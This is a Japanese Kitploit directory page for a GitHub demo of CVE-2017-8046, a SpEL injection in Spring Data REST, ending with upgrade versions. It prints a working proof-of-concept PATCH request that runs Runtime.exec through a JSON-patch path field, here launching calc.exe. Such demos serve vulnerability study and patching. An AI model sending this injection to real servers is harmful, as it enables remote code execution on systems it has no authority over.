Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-8046-DEMO — SPRING DATA REST CVE-2017-8046 デモ | Kitploit
ツール/GitHubGitHub/lgtm-migrator/cve-2017-8046-demo
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHublgtm-migrator/cve-2017-8046-demo

CVE-2017-8046-DEMO

SPRING DATA REST CVE-2017-8046 デモ

リポジトリを見る
3年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

spring data rest CVE-2017-8046 デモテスト

今すぐ spring data rest をアップグレードしてください。

手順

  • 本アプリケーションを起動する

  • テストインスタンスを作成する

root@kitploit:~

POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache

{
    "firstName":"f2"
}

  • SpELインジェクションを利用すると、C:\Windows\system32\calc.exe が起動します
root@kitploit:~
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache

[
    {
        "op":"test", 
        "path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))", 
        "value":""	
    }
]

アップグレード先

  • Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

Spring Boot 1.5.7.RELEASE は spring data rest 2.6.7 を使用しますが、1.4.x では spring data rest のバージョンはアップグレードされません。

ツールをダウンロード